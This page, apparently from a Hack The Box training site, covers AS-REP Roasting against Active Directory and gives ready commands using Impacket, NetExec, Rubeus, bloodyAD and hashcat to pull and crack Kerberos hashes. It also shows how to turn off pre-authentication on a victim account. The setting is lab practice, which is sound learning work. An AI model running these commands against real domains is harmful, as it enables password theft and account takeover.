AS-REP Roasting
Sub-technique of T1558 Steal or Forge Kerberos Tickets
Requesting an AS-REP for users without Kerberos pre-authentication and cracking their password offline.
How it shows up on Hack The Box
You do not even need credentials: a user list is enough (from kerbrute, RID brute or the website). It is one of the first things to try against a DC.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- Kerberoasting and AS-REP Roasting: crackable hashes from Active Directory 3 min read What makes an account vulnerable, how to request the tickets with Impacket, NetExec or Rubeus, how to crack them with hashcat, and the usual errors (clock, etype, usernames).
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Windows and Active Directory privilege escalation › Active Directory
AS-REP roasting
impacket-GetNPUsers box.htb/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.11.20 -format hashcat
Crack with hashcat -m 18200.
Active Directory in depth › BloodHound
AS-REP roastable users (no pre-auth)
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
Active Directory in depth › Impacket
AS-REP roasting
Attacker
impacket-GetNPUsers box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -format hashcat -outputfile asrep.txt
hashcat -m 18200
bloodyAD › Abusing ACLs
Disable pre-authentication (targeted AS-REP roasting)
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add uac victima -f DONT_REQ_PREAUTH
Hashcat › Most used modes
AS-REP roasting
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
NetExec (nxc) › Kerberos and credentials
AS-REP roasting
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --asreproast asrep.txt
Rubeus › Roasting
AS-REP roasting
Target
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
No command matches.